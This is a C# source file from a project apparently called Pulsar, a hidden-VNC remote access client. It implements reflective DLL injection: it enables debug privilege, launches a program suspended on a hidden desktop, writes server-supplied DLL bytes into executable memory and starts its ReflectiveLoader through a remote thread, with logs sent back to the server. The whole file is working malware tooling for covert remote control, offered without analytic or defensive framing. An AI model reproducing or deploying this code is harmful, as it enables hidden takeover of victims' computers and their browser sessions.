Files
PulsarK-main/Pulsar.Client/Helper/HVNC/KDOTInjector.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

857 lines
31 KiB
C#

using Pulsar.Client.LoggingAPI;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace Pulsar.Client.Helper.HVNC
{
internal class KDOTInjector
{
/// <summary>
/// Starts the reflective DLL injection process
/// </summary>
/// <param name="dllBytes">The DLL bytes to inject (received from server)</param>
/// <param name="exePath">Path to the executable to start and inject into</param>
/// <param name="searchPattern">Pattern to search for in the target process</param>
/// <param name="replacementPath">Replacement path for the search pattern</param>
/// <returns>Process ID of the started process, or 0 if failed</returns>
public static int Start(byte[] dllBytes, string exePath, string searchPattern, string replacementPath)
{
try
{
if (dllBytes == null || dllBytes.Length == 0)
{
UniversalDebugLogger.SendLogToServer("[-] Invalid DLL bytes provided");
return 0;
}
if (string.IsNullOrWhiteSpace(exePath))
{
UniversalDebugLogger.SendLogToServer("[-] No target executable specified");
return 0;
}
if (string.IsNullOrWhiteSpace(searchPattern) || string.IsNullOrWhiteSpace(replacementPath))
{
UniversalDebugLogger.SendLogToServer("[-] Search pattern and replacement path are required");
return 0;
}
UniversalDebugLogger.SendLogToServer($"[*] Starting reflective DLL injection");
UniversalDebugLogger.SendLogToServer($" Target: {exePath}");
UniversalDebugLogger.SendLogToServer($" Search Pattern: {searchPattern}");
UniversalDebugLogger.SendLogToServer($" Replacement Path: {replacementPath}");
UniversalDebugLogger.SendLogToServer($" DLL Size: {dllBytes.Length} bytes");
PrivilegeManager.EnableDebugPrivilege();
var (process, hProcess, hThread) = ProcessManager.StartProcessSuspended(exePath, searchPattern, replacementPath);
if (process == null || hProcess == IntPtr.Zero || hThread == IntPtr.Zero)
{
UniversalDebugLogger.SendLogToServer("[-] Failed to create suspended process");
return 0;
}
int processId = process.Id;
UniversalDebugLogger.SendLogToServer($"[+] Started process '{Path.GetFileName(exePath)}' (suspended) with PID {processId}");
try
{
bool success = Injector.InjectDllWithHandle(hProcess, dllBytes);
if (success)
{
UniversalDebugLogger.SendLogToServer($"[+] Successfully injected '{Path.GetFileName(exePath)}' into process {processId}");
UniversalDebugLogger.SendLogToServer($"[+] Search pattern: {searchPattern}");
UniversalDebugLogger.SendLogToServer($"[+] Replacement path: {replacementPath}");
}
else
{
UniversalDebugLogger.SendLogToServer("[-] Injection failed");
Injector.CloseHandle(hProcess);
Injector.CloseHandle(hThread);
if (!process.HasExited)
{
process.Kill();
}
return 0;
}
}
finally
{
Injector.CloseHandle(hProcess);
}
UniversalDebugLogger.SendLogToServer("[+] Resuming main thread...");
ProcessManager.ResumeThreadExP(hThread);
Injector.CloseHandle(hThread);
UniversalDebugLogger.SendLogToServer("[+] Process running. DLL hooks will propagate to child processes.");
return processId;
}
catch (Exception ex)
{
UniversalDebugLogger.SendLogToServer($"[-] Exception in KDOTInjector.Start: {ex.Message}");
return 0;
}
}
}
/// <summary>
/// Manages process creation and interaction
/// </summary>
internal static class ProcessManager
{
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
private struct STARTUPINFO
{
public int cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public int dwX;
public int dwY;
public int dwXSize;
public int dwYSize;
public int dwXCountChars;
public int dwYCountChars;
public int dwFillAttribute;
public int dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
private struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
private const uint CREATE_SUSPENDED = 0x00000004;
private const uint CREATE_UNICODE_ENVIRONMENT = 0x00000400;
private const int STARTF_USEPOSITION = 0x00000004;
public static Process StartProcessNormal(string exePath)
{
if (!File.Exists(exePath))
{
Debug.WriteLine($"[-] Executable not found: {exePath}");
return null;
}
try
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = exePath,
UseShellExecute = false,
WorkingDirectory = Path.GetDirectoryName(exePath)
};
Process process = Process.Start(psi);
return process;
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Failed to start process: {ex.Message}");
return null;
}
}
private static IntPtr CreateEnvironmentBlock(string searchPath, string replacePath)
{
var envVars = Environment.GetEnvironmentVariables();
var envDict = new Dictionary<string, string>();
foreach (System.Collections.DictionaryEntry entry in envVars)
{
envDict[entry.Key.ToString()] = entry.Value.ToString();
}
envDict["RDI_SEARCH_PATH"] = searchPath;
envDict["RDI_REPLACE_PATH"] = replacePath;
var envList = new List<string>();
foreach (var kvp in envDict.OrderBy(x => x.Key, StringComparer.OrdinalIgnoreCase))
{
envList.Add($"{kvp.Key}={kvp.Value}");
}
string envBlock = string.Join("\0", envList) + "\0\0";
byte[] envBytes = Encoding.Unicode.GetBytes(envBlock);
IntPtr envPtr = Marshal.AllocHGlobal(envBytes.Length);
Marshal.Copy(envBytes, 0, envPtr, envBytes.Length);
return envPtr;
}
public static (Process process, IntPtr hProcess, IntPtr hThread) StartProcessSuspended(string exePath, string searchPath, string replacePath)
{
if (!File.Exists(exePath))
{
Debug.WriteLine($"[-] Executable not found: {exePath}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
IntPtr envBlock = IntPtr.Zero;
try
{
STARTUPINFO si = new STARTUPINFO();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = "PulsarDesktop";
si.dwX = 0;
si.dwY = 0;
si.dwFlags = STARTF_USEPOSITION;
PROCESS_INFORMATION pi;
string commandLine = $"\"{exePath}\" --window-position=0,0";
envBlock = CreateEnvironmentBlock(searchPath, replacePath);
Debug.WriteLine($"[*] Setting environment variables:");
Debug.WriteLine($" RDI_SEARCH_PATH={searchPath}");
Debug.WriteLine($" RDI_REPLACE_PATH={replacePath}");
bool success = CreateProcess(
null,
commandLine,
IntPtr.Zero,
IntPtr.Zero,
false,
CREATE_SUSPENDED | CREATE_UNICODE_ENVIRONMENT,
envBlock,
Path.GetDirectoryName(exePath),
ref si,
out pi);
if (!success)
{
int error = Marshal.GetLastWin32Error();
Debug.WriteLine($"[-] Failed to create process. Error: {error}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
Process process = Process.GetProcessById((int)pi.dwProcessId);
return (process, pi.hProcess, pi.hThread);
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Failed to start process: {ex.Message}");
return (null, IntPtr.Zero, IntPtr.Zero);
}
finally
{
if (envBlock != IntPtr.Zero)
{
Marshal.FreeHGlobal(envBlock);
}
}
}
public static void ResumeThreadExP(IntPtr hThread)
{
if (hThread != IntPtr.Zero)
{
uint suspendCount = ResumeThread(hThread);
if (suspendCount == unchecked((uint)-1))
{
Debug.WriteLine($"[-] Failed to resume thread. Error: {Marshal.GetLastWin32Error()}");
}
}
}
}
/// <summary>
/// Manages Windows privileges (SeDebugPrivilege)
/// </summary>
internal static class PrivilegeManager
{
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(
IntPtr ProcessHandle,
uint DesiredAccess,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
out LUID lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
bool DisableAllPrivileges,
ref TOKEN_PRIVILEGES NewState,
uint BufferLength,
IntPtr PreviousState,
IntPtr ReturnLength);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
private const uint TOKEN_ADJUST_PRIVILEGES = 0x0020;
private const uint TOKEN_QUERY = 0x0008;
private const uint SE_PRIVILEGE_ENABLED = 0x00000002;
private const string SE_DEBUG_NAME = "SeDebugPrivilege";
[StructLayout(LayoutKind.Sequential)]
private struct LUID
{
public uint LowPart;
public int HighPart;
}
[StructLayout(LayoutKind.Sequential)]
private struct LUID_AND_ATTRIBUTES
{
public LUID Luid;
public uint Attributes;
}
[StructLayout(LayoutKind.Sequential)]
private struct TOKEN_PRIVILEGES
{
public uint PrivilegeCount;
public LUID_AND_ATTRIBUTES Privileges;
}
public static void EnableDebugPrivilege()
{
try
{
IntPtr hToken;
if (OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out hToken))
{
TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES
{
PrivilegeCount = 1,
Privileges = new LUID_AND_ATTRIBUTES
{
Attributes = SE_PRIVILEGE_ENABLED
}
};
if (LookupPrivilegeValue(null, SE_DEBUG_NAME, out tp.Privileges.Luid))
{
AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
}
CloseHandle(hToken);
}
}
catch
{
// windows basically just gave us the middle finger
}
}
}
/// <summary>
/// Handles DLL injection using reflective loading
/// </summary>
internal static class Injector
{
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr OpenProcess(
ProcessAccessFlags processAccess,
bool bInheritHandle,
int processId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr VirtualAllocEx(
IntPtr hProcess,
IntPtr lpAddress,
uint dwSize,
AllocationType flAllocationType,
MemoryProtection flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateRemoteThread(
IntPtr hProcess,
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out IntPtr lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CloseHandle(IntPtr hObject);
private const uint INFINITE = 0xFFFFFFFF;
[Flags]
private enum ProcessAccessFlags : uint
{
PROCESS_CREATE_THREAD = 0x0002,
PROCESS_QUERY_INFORMATION = 0x0400,
PROCESS_VM_OPERATION = 0x0008,
PROCESS_VM_WRITE = 0x0020,
PROCESS_VM_READ = 0x0010,
All = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
}
[Flags]
private enum AllocationType : uint
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000
}
[Flags]
private enum MemoryProtection : uint
{
PAGE_EXECUTE_READWRITE = 0x40,
PAGE_READWRITE = 0x04
}
public static bool InjectDll(int processId, byte[] dllBuffer)
{
IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, processId);
if (hProcess == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to open target process. Error={Marshal.GetLastWin32Error()}");
return false;
}
try
{
IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer);
if (hThread == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}");
return false;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return true;
}
finally
{
CloseHandle(hProcess);
}
}
public static bool InjectDllWithHandle(IntPtr hProcess, byte[] dllBuffer)
{
if (hProcess == IntPtr.Zero || dllBuffer == null || dllBuffer.Length == 0)
{
Debug.WriteLine("[-] Invalid parameters for injection");
return false;
}
IntPtr hThread = LoadRemoteLibraryR(hProcess, dllBuffer);
if (hThread == IntPtr.Zero)
{
Debug.WriteLine($"[-] Failed to inject DLL. Error={Marshal.GetLastWin32Error()}");
return false;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
return true;
}
private static IntPtr LoadRemoteLibraryR(IntPtr hProcess, byte[] buffer)
{
try
{
if (hProcess == IntPtr.Zero || buffer == null || buffer.Length == 0)
return IntPtr.Zero;
uint reflectiveLoaderOffset = PEParser.GetReflectiveLoaderOffset(buffer);
if (reflectiveLoaderOffset == 0)
{
Debug.WriteLine("[-] Failed to find ReflectiveLoader in DLL");
return IntPtr.Zero;
}
IntPtr lpRemoteLibraryBuffer = VirtualAllocEx(
hProcess,
IntPtr.Zero,
(uint)buffer.Length,
AllocationType.MEM_RESERVE | AllocationType.MEM_COMMIT,
MemoryProtection.PAGE_EXECUTE_READWRITE);
if (lpRemoteLibraryBuffer == IntPtr.Zero)
{
Debug.WriteLine("[-] Failed to allocate memory in remote process");
return IntPtr.Zero;
}
IntPtr bytesWritten;
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, buffer, (uint)buffer.Length, out bytesWritten))
{
Debug.WriteLine("[-] Failed to write DLL to remote process");
return IntPtr.Zero;
}
IntPtr lpReflectiveLoader = IntPtr.Add(lpRemoteLibraryBuffer, (int)reflectiveLoaderOffset);
IntPtr threadId;
IntPtr hThread = CreateRemoteThread(
hProcess,
IntPtr.Zero,
1024 * 1024,
lpReflectiveLoader,
IntPtr.Zero,
0,
out threadId);
return hThread;
}
catch (Exception ex)
{
Debug.WriteLine($"[-] Exception in LoadRemoteLibraryR: {ex.Message}");
return IntPtr.Zero;
}
}
}
/// <summary>
/// Parses PE (Portable Executable) file format
/// </summary>
internal static class PEParser
{
#region PE Structures
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_DOS_HEADER
{
public ushort e_magic;
public ushort e_cblp;
public ushort e_cp;
public ushort e_crlc;
public ushort e_cparhdr;
public ushort e_minalloc;
public ushort e_maxalloc;
public ushort e_ss;
public ushort e_sp;
public ushort e_csum;
public ushort e_ip;
public ushort e_cs;
public ushort e_lfarlc;
public ushort e_ovno;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
public ushort[] e_res;
public ushort e_oemid;
public ushort e_oeminfo;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public ushort[] e_res2;
public int e_lfanew;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_FILE_HEADER
{
public ushort Machine;
public ushort NumberOfSections;
public uint TimeDateStamp;
public uint PointerToSymbolTable;
public uint NumberOfSymbols;
public ushort SizeOfOptionalHeader;
public ushort Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_DATA_DIRECTORY
{
public uint VirtualAddress;
public uint Size;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_OPTIONAL_HEADER32
{
public ushort Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public uint BaseOfData;
public uint ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public ushort Subsystem;
public ushort DllCharacteristics;
public uint SizeOfStackReserve;
public uint SizeOfStackCommit;
public uint SizeOfHeapReserve;
public uint SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_OPTIONAL_HEADER64
{
public ushort Magic;
public byte MajorLinkerVersion;
public byte MinorLinkerVersion;
public uint SizeOfCode;
public uint SizeOfInitializedData;
public uint SizeOfUninitializedData;
public uint AddressOfEntryPoint;
public uint BaseOfCode;
public ulong ImageBase;
public uint SectionAlignment;
public uint FileAlignment;
public ushort MajorOperatingSystemVersion;
public ushort MinorOperatingSystemVersion;
public ushort MajorImageVersion;
public ushort MinorImageVersion;
public ushort MajorSubsystemVersion;
public ushort MinorSubsystemVersion;
public uint Win32VersionValue;
public uint SizeOfImage;
public uint SizeOfHeaders;
public uint CheckSum;
public ushort Subsystem;
public ushort DllCharacteristics;
public ulong SizeOfStackReserve;
public ulong SizeOfStackCommit;
public ulong SizeOfHeapReserve;
public ulong SizeOfHeapCommit;
public uint LoaderFlags;
public uint NumberOfRvaAndSizes;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public IMAGE_DATA_DIRECTORY[] DataDirectory;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_SECTION_HEADER
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public byte[] Name;
public uint VirtualSize;
public uint VirtualAddress;
public uint SizeOfRawData;
public uint PointerToRawData;
public uint PointerToRelocations;
public uint PointerToLinenumbers;
public ushort NumberOfRelocations;
public ushort NumberOfLinenumbers;
public uint Characteristics;
}
[StructLayout(LayoutKind.Sequential)]
private struct IMAGE_EXPORT_DIRECTORY
{
public uint Characteristics;
public uint TimeDateStamp;
public ushort MajorVersion;
public ushort MinorVersion;
public uint Name;
public uint Base;
public uint NumberOfFunctions;
public uint NumberOfNames;
public uint AddressOfFunctions;
public uint AddressOfNames;
public uint AddressOfNameOrdinals;
}
private const int IMAGE_DIRECTORY_ENTRY_EXPORT = 0;
private const ushort IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b;
private const ushort IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b;
#endregion PE Structures
public static uint GetReflectiveLoaderOffset(byte[] buffer)
{
try
{
int baseAddress = 0;
IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure<IMAGE_DOS_HEADER>(buffer, 0);
int ntHeadersOffset = baseAddress + dosHeader.e_lfanew;
uint signature = BitConverter.ToUInt32(buffer, ntHeadersOffset);
if (signature != 0x00004550) // "PE\0\0"
return 0;
IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure<IMAGE_FILE_HEADER>(buffer, ntHeadersOffset + 4);
int optionalHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER));
ushort magic = BitConverter.ToUInt16(buffer, optionalHeaderOffset);
uint exportDirRva;
if (magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) // PE32
{
if (IntPtr.Size != 4)
return 0;
IMAGE_OPTIONAL_HEADER32 optHeader = ByteArrayToStructure<IMAGE_OPTIONAL_HEADER32>(buffer, optionalHeaderOffset);
exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
}
else if (magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) // PE64
{
if (IntPtr.Size != 8)
return 0;
IMAGE_OPTIONAL_HEADER64 optHeader = ByteArrayToStructure<IMAGE_OPTIONAL_HEADER64>(buffer, optionalHeaderOffset);
exportDirRva = optHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
}
else
{
return 0;
}
if (exportDirRva == 0)
return 0;
uint exportDirOffset = Rva2Offset(exportDirRva, buffer, baseAddress);
if (exportDirOffset == 0)
return 0;
IMAGE_EXPORT_DIRECTORY exportDir = ByteArrayToStructure<IMAGE_EXPORT_DIRECTORY>(buffer, (int)exportDirOffset);
uint nameArrayOffset = Rva2Offset(exportDir.AddressOfNames, buffer, baseAddress);
uint addressArrayOffset = Rva2Offset(exportDir.AddressOfFunctions, buffer, baseAddress);
uint nameOrdinalsOffset = Rva2Offset(exportDir.AddressOfNameOrdinals, buffer, baseAddress);
for (uint i = 0; i < exportDir.NumberOfNames; i++)
{
uint nameRva = BitConverter.ToUInt32(buffer, (int)(nameArrayOffset + i * 4));
uint nameOffset = Rva2Offset(nameRva, buffer, baseAddress);
string functionName = ReadNullTerminatedString(buffer, (int)nameOffset);
if (functionName.Contains("ReflectiveLoader"))
{
ushort ordinal = BitConverter.ToUInt16(buffer, (int)(nameOrdinalsOffset + i * 2));
uint functionRva = BitConverter.ToUInt32(buffer, (int)(addressArrayOffset + ordinal * 4));
return Rva2Offset(functionRva, buffer, baseAddress);
}
}
}
catch
{
return 0;
}
return 0;
}
private static uint Rva2Offset(uint dwRva, byte[] buffer, int baseAddress)
{
IMAGE_DOS_HEADER dosHeader = ByteArrayToStructure<IMAGE_DOS_HEADER>(buffer, 0);
int ntHeadersOffset = baseAddress + dosHeader.e_lfanew;
IMAGE_FILE_HEADER fileHeader = ByteArrayToStructure<IMAGE_FILE_HEADER>(buffer, ntHeadersOffset + 4);
int sectionHeaderOffset = ntHeadersOffset + 4 + Marshal.SizeOf(typeof(IMAGE_FILE_HEADER)) + fileHeader.SizeOfOptionalHeader;
IMAGE_SECTION_HEADER firstSection = ByteArrayToStructure<IMAGE_SECTION_HEADER>(buffer, sectionHeaderOffset);
if (dwRva < firstSection.PointerToRawData)
return dwRva;
for (int i = 0; i < fileHeader.NumberOfSections; i++)
{
IMAGE_SECTION_HEADER section = ByteArrayToStructure<IMAGE_SECTION_HEADER>(buffer, sectionHeaderOffset + i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)));
if (dwRva >= section.VirtualAddress && dwRva < section.VirtualAddress + section.SizeOfRawData)
{
return dwRva - section.VirtualAddress + section.PointerToRawData;
}
}
return 0;
}
private static T ByteArrayToStructure<T>(byte[] bytes, int offset) where T : struct
{
int size = Marshal.SizeOf(typeof(T));
IntPtr ptr = Marshal.AllocHGlobal(size);
try
{
Marshal.Copy(bytes, offset, ptr, size);
return (T)Marshal.PtrToStructure(ptr, typeof(T));
}
finally
{
Marshal.FreeHGlobal(ptr);
}
}
private static string ReadNullTerminatedString(byte[] buffer, int offset)
{
int length = 0;
while (offset + length < buffer.Length && buffer[offset + length] != 0)
{
length++;
}
return Encoding.ASCII.GetString(buffer, offset, length);
}
}
}